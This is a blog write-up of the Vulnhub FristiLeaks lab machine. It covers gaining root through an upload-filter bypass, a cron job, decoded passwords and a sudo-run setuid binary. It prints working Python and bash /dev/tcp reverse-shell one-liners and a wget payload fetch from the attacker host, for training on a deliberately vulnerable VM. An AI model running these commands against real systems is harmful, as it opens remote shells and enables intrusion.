FristiLeaks Writeup (Vulnhub Basic Machine)

A small VM made for a Dutch informal hacker meetup called Fristileaks. Meant to be broken in a few hours without requiring debuggers, reverse engineering, etc..


Overview

FristiLeaks is a basic Linux machine from Vulnhub. It’s a puzzle-styled challenge, testing your technical cybersecurity skills, critical thinking capabilities and endurance.

We start by discovering an admin login page on a web server. We find some clues in the source code, that lead us to a pair of credentials. Next, we get a shell by bypassing file upload restrictions.

Once inside, we abuse code execution capability of custom binary and decrypt encoded passwords for other users for lateral movement. We get root access by abusing our user’s sudo permissions.


Nmap scan

Starting with the Nmap scan.

┌──(kali㉿kali)-[~]
└─$ sudo nmap -Pn -A 192.168.1.56 -T5
Starting Nmap 7.95 ( https://nmap.org ) at 2025-05-29 18:07 EDT
Nmap scan report for 192.168.1.56
Host is up (0.00031s latency).
Not shown: 990 filtered tcp ports (no-response), 9 filtered tcp ports (host-prohibited)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.2.15 ((CentOS) DAV/2 PHP/5.3.3)
|_http-server-header: Apache/2.2.15 (CentOS) DAV/2 PHP/5.3.3
| http-robots.txt: 3 disallowed entries
|_/cola /sisi /beer
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-methods:
|_ Potentially risky methods: TRACE
MAC Address: 08:00:27:A5:A6:76 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|phone|media device|broadband router|WAP
Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (97%), Google Android 4.1.X|10.X (91%), Google embedded (91%), Ruckus embedded (91%), Amazon embedded (91%)
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3 cpe:/o:google:android:4.1 cpe:/o:linux:linux_kernel:3.0 cpe:/o:linux:linux_kernel:3.10 cpe:/h:ruckus:zoneflex_r710 cpe:/o:google:android:10 cpe:/o:linux:linux_kernel:4
Aggressive OS guesses: Linux 2.6.32 - 3.13 (97%), Linux 2.6.32 - 3.10 (97%), Linux 2.6.39 (97%), Linux 2.6.32 (95%), Linux 2.6.32 - 2.6.39 (94%), Linux 2.6.32 - 3.5 (92%), Android 4.1 (Linux 3.0) (91%), Google Home device (91%), Google Home Mini (91%), DD-WRT v24 or v30 (Linux 3.10) (91%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.31 ms 192.168.1.56

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.46 seconds

The Nmap scan showed 1 open port. There was an Apache HTTP server on port 80. Nmap also discovered that Apache 2.2.15, DAV/2 and PHP 5.3.3 are being used, running on CentOS.


Web enumeration

I visited the website and saw a familiar motto.

I ran Gobuster to perform directory enumeration.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u "http://192.168.1.56" -w /usr/share/wordlists/dirb/common.txt -t 64 -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.1.56
[+] Method: GET
[+] Threads: 64
[+] Wordlist: /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Follow Redirect: true
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd (Status: 403) [Size: 211]
/.hta (Status: 403) [Size: 206]
/.htaccess (Status: 403) [Size: 211]
/cgi-bin/ (Status: 403) [Size: 210]
/index.html (Status: 200) [Size: 703]
/images (Status: 200) [Size: 1046]
/robots.txt (Status: 200) [Size: 62]
Progress: 4614 / 4615 (99.98%)

I looked at the “robots.txt” file. There were couple entries, exposing other pages.

I visited all of the pages one by one. All of them had the same content, the same meme image. This box is clearly taunting us. We have to look elsewhere to find our way in.


Accessing the admin panel, bypassing file upload restrictions & getting initial foothold

Whenever you find yourself in a dead-end situation, you should switch your brain to critical mode and look for alternative, sometimes even abstract/uncommon ways to make progress. Considering what makes this box unique (name and style), we can find a secret “/fristi” page that isn’t present in common wordlists that we use for directory enumeration.

On the “/fristi” page, we can find an unrestricted login page for admins. It’s great to see input fields, because a lot of things can go wrong whenever a web server takes input from the client.

While looking at the source code, we can notice a message from a potential user named “eezeepz”.

potential username found in the source code

We can already sense that this machine doesn’t take itself very seriously. It’s more of a puzzle-styled machine, where you pick up hints along the way. That’s why it’s a good idea to note down everything you find throughout your walkthrough, because you never know what you might need.

Scrolling to the bottom, we can see another comment. It looks like base64 encoded string.

long base64 encoded string found in the source code


I booted CyberChef and decoded the string. Turned out that it’s a base64 encoded image.

I searched up base64 to image converter and converted the string. The online tool offered a preview of the decoded image, which showed another, seemingly random, string.

Since I already got a potential username and a random string which could be a password, I tried to login with those credentials on the admin panel. And it was a success!

There was a file upload functionality. Since this is an Apache web server, we can get PHP RCE.


First of all, I got myself a PHP reverse shell script from “revshells.com”.

And I tried to upload the PHP script, just to see if there are any restrictions ahead, and there are.

“shell.php” file got flagged

An error message popped, showing a whitelist of allowed file types. Only image files were allowed.

So I took a second to remember what file upload bypass techniques I know and went down my fictional checklist. Turned out, that simply adding the “.png” (or “.jpg”, “.gif”) extension to the filename was enough for the backend to let the file through.

“shell.php.png” file went through

Next, I set up my Netcat listener and visited my malicious PHP shell script in “/uploads” directory to see, if it even executes. Tbh, I didn’t expect it to run the PHP code, but it did and I got the shell.

page left hanging, meaning that the PHP shell worked
┌──(kali㉿kali)-[~]
└─$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.1.84] from (UNKNOWN) [192.168.1.56] 55664
SOCKET: Shell has connected! PID: 1898
id
uid=48(apache) gid=48(apache) groups=48(apache)
pwd
/var/www/html/fristi/uploads


Compromising “admin” user

I found myself in the “/fristi/uploads” directory. I went back couple times and find a note in between the website files and PHP source code. It was a message from Jerry.

message from Jerry, hinting user’s home directory

Treating the message as a hint (as I should), I went on and checked the home directories. User “eezeepz” had a readable home directory, so I looked at it. I found a lot of files inside.

There was “notes.txt” file containing a message from Jerry for EZ user once again.

another message from Jerry, introducing us to potential PE vector

Jerry wrote about a cronjob that runs commands from the “/tmp/runthis” file every minute. The results are stored in the “/tmp/cronresult” file. Also, we got limited to use the user-accessible binaries only (binaries from the “/usr/bin” directory).


So I grabbed a Python reverse shell one-liner from PentestMonkey cheat sheet (https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) and put it into file named “runthis”. After that, I transferred the file onto the target machine and set up my Netcat listener.

bash-4.1$ cd /tmp
cd /tmp
bash-4.1$ ls -la
ls -la
total 20
drwxrwxrwt. 3 root root 4096 May 31 04:01 .
dr-xr-xr-x. 22 root root 4096 May 31 04:00 ..
drwxrwxrwt 2 root root 4096 May 31 04:00 .ICE-unix
-rw-r--r-- 1 admin admin 5078 May 31 04:01 cronresult
bash-4.1$ wget http://192.168.1.84:9999/runthis
wget http://192.168.1.84:9999/runthis
--2025-05-31 04:03:05-- http://192.168.1.84:9999/runthis
Connecting to 192.168.1.84:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 238 [application/octet-stream]
Saving to: `runthis'

100%[======================================>] 238 --.-K/s in 0s

2025-05-31 04:03:05 (206 MB/s) - `runthis'
saved [238/238]

bash-4.1$ ls -la
ls -la
total 24
drwxrwxrwt. 3 root root 4096 May 31 04:03 .
dr-xr-xr-x. 22 root root 4096 May 31 04:00 ..
drwxrwxrwt 2 root root 4096 May 31 04:00 .ICE-unix
-rw-r--r-- 1 admin admin 5078 May 31 04:01 cronresult
-rw-rw-rw- 1 apache apache 238 May 30 18:14 runthis
bash-4.1$ cat runthis
cat runthis
/usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.84",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

After a minute or so, I received a connection. I got the shell as user “admin”.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 4444
listening on [any] 4444 ...
connect to [192.168.1.84] from (UNKNOWN) [192.168.1.56] 35381
sh: no job control in this shell
sh-4.1$ id
id
uid=501(admin) gid=501(admin) groups=501(admin)
sh-4.1$ pwd
pwd
/home/admin


Compromising “fristigod” user

In this user’s home directory, I found several files, like 2 Python scripts and 2 text files. The 2 text files contained a string each, that looked like encoded secrets.

encoded strings found in FristiGod’s home directory

First Python script was just the cronjob mentioned earlier (Jerry is this “admin” user). However, the second script took a string as an argument and encrypted it in several layers.

Python script, probably used for encryption

Using my common sense, I understood that the 2 text files both contained an encrypted secret string, which was the output of this “cryptpass.py” script. Luckily, those can be easily reverted.


Encryption process looked like this: base64 → reverse → rot13. So we have to reverse the process like this: rot13 → reverse → base64, using tool like CyberChef and get the original strings.

It turned out that the first secret was “thisisalsopw123” and the second was “LetThereBeFristi!”. What could those be for, perhaps those are users’ passwords?

So I tried to list my user’s sudo permissions with “sudo -l” and entered the decrypted secrets as a password. Turned out that the first one is the password for my “admin” user.

sh-4.1$ python -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/bash")'
[admin@localhost ~]$ sudo -l
sudo -l
[sudo] password for admin: thisisalsopw123

Sorry, user admin may not run sudo on localhost.

And the second one for the next user “fristigod”. Neet!

[admin@localhost ~]$ ls /home
ls /home
admin eezeepz fristigod
[admin@localhost ~]$ su fristigod
su fristigod
Password: LetThereBeFristi!

bash-4.1$ id
id
uid=502(fristigod) gid=502(fristigod) groups=502(fristigod)


Compromising “root” user

I found nothing interesting in Fristigod’s home directory, so I checked it’s sudo permissions. We could run some custom “doCom” binary from “/var” directory as user “fristi”.

bash-4.1$ cd /home/fristigod
cd /home/fristigod
bash-4.1$ ls -la
ls -la
total 20
drwx------ 2 fristigod fristigod 4096 Nov 19 2015 .
drwxr-xr-x. 5 root root 4096 Nov 19 2015 ..
-rw-r--r-- 1 fristigod fristigod 18 Sep 22 2015 .bash_logout
-rw-r--r-- 1 fristigod fristigod 176 Sep 22 2015 .bash_profile
-rw-r--r-- 1 fristigod fristigod 124 Sep 22 2015 .bashrc
bash-4.1$ sudo -l
sudo -l
[sudo] password for fristigod: LetThereBeFristi!

Matching Defaults entries for fristigod on this host:
requiretty, !visiblepw, always_set_home, env_reset, env_keep="COLORS
DISPLAY HOSTNAME HISTSIZE INPUTRC KDEDIR LS_COLORS"
, env_keep+="MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE"
, env_keep+="LC_COLLATE
LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES"
, env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE"
, env_keep+="LC_TIME LC_ALL
LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY"
,
secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User fristigod may run the following commands on this host:
(fristi : ALL) /var/fristigod/.secret_admin_stuff/doCom

So I analyzed the “doCom” binary with “file” and “strings” command. It was a classic ELF executable, probably intended for running commands on the machine, owned by the “root” user.

bash-4.1$ cd /var/fristigod/.secret_admin_stuff 
cd /var/fristigod/.secret_admin_stuff
bash-4.1$ ls -la
ls -la
total 16
drwxrwxr-x. 2 fristigod fristigod 4096 Nov 25 2015 .
drwxr-x--- 4 fristigod fristigod 4096 May 31 11:13 ..
-rwsr-sr-x 1 root root 7529 Nov 25 2015 doCom
bash-4.1$ file doCom
file doCom
doCom: setuid setgid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.18, not stripped
bash-4.1$ strings doCom
strings doCom
/lib64/ld-linux-x86-64.so.2
__gmon_start__
libc.so.6
setuid
exit
strcat
stderr
system
getuid
fwrite
__libc_start_main
GLIBC_2.2.5
fff.
fffff.
l$ L
t$(L
|$0H
Nice try, but wrong user ;)
Usage: ./program_name terminal_command ...


I tried to run the “id” command first, but got flagged for the wrong user. So I ran the binary as the “fristi” user with “sudo”, which ran perfectly, with the permissions of the “root” user of course.

bash-4.1$ ./doCom id
./doCom id
Nice try, but wrong user ;)
bash-4.1$ sudo -u fristi ./doCom id
sudo -u fristi ./doCom id
[sudo] password for fristigod: LetThereBeFristi!

uid=0(root) gid=100(users) groups=100(users),502(fristigod)

Once again, I visited PentestMonkey and grabbed the Bash reverse shell one-liner. I set up my listener and ran the properly edited command. My terminal was left hanging. That was a good sign, meaning that I got the connection back from the FristiLeaks machine.

bash-4.1$ sudo -u fristi ./doCom "bash -i >& /dev/tcp/192.168.1.84/5555 0>&1"
sudo -u fristi ./doCom "bash -i >& /dev/tcp/192.168.1.84/5555 0>&1"

And I got the shell as “root”. I immediately visited the “/root” directory, where a message waited on me. The author congratulated me and gave me the flag. And that wraps up “FristiLeaks” machine.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp 5555
listening on [any] 5555 ...
connect to [192.168.1.84] from (UNKNOWN) [192.168.1.56] 46515
bash-4.1# id
id
uid=0(root) gid=100(users) groups=100(users),502(fristigod)
bash-4.1# cd /root
cd /root
bash-4.1# ls -la
ls -la
total 48
dr-xr-x---. 3 root root 4096 Nov 25 2015 .
dr-xr-xr-x. 22 root root 4096 May 31 11:00 ..
-rw------- 1 root root 1936 Nov 25 2015 .bash_history
-rw-r--r--. 1 root root 18 May 20 2009 .bash_logout
-rw-r--r--. 1 root root 176 May 20 2009 .bash_profile
-rw-r--r--. 1 root root 176 Sep 22 2004 .bashrc
drwxr-xr-x. 3 root root 4096 Nov 25 2015 .c
-rw-r--r--. 1 root root 100 Sep 22 2004 .cshrc
-rw-------. 1 root root 1291 Nov 17 2015 .mysql_history
-rw-r--r--. 1 root root 129 Dec 3 2004 .tcshrc
-rw-------. 1 root root 829 Nov 17 2015 .viminfo
-rw-------. 1 root root 246 Nov 17 2015 fristileaks_secrets.txt
bash-4.1# cat fristileaks_secrets.txt
cat fristileaks_secrets.txt
Congratulations on beating FristiLeaks 1.0 by Ar0xA [https://tldr.nu]

I wonder if you beat it in the maximum 4 hours it's supposed to take!

Shoutout to people of #fristileaks (twitter) and #vulnhub (FreeNode)


Flag: Y0u_kn0w_y0u_l0ve_fr1st1


bash-4.1#


Summary & final thoughts

FristiLeaks is a basic machine from Vulnhub. This box is a fun puzzle-styled machine, meant to be pwned in just a few hours. It doesn’t take itself too seriously (like boxes on HackTheBox), it’s more of a spare time challenge, testing your critical and out-of-box thinking. Based off machine’s theme, we discover a secret page on a web server with admin login panel. We collect clues from the source code and end up with a pair of admin credentials. After that, we utilize file upload bypass technique to upload a PHP reverse shell and get initial foothold on the machine. Once inside, we start a chain of lateral movement by abusing code execution capability of a custom binary and decrypt encoded passwords by analyzing a Python script which encrypted them, reverting the process. At last, we abuse our user’s sudo permissions and run arbitrary code as “root”, leading to a root shell. In my opinion, this box presents a very fun challenge, testing both your technical skills (file upload bypass techniques, code understanding) and psychological skills (out-of-box thinking, endurance). Recommending to anyone who’s ready for a fun relaxing challenge and has some spare time. Beginners are welcomed, too. This box isn’t very difficult, but offers good knowledge and practice.

Comments

Popular posts from this blog

Hospital Writeup (HackTheBox Medium Machine)

Bucket Writeup (HackTheBox Medium Machine)

Mr Robot Writeup (Vulnhub Intermediate Machine)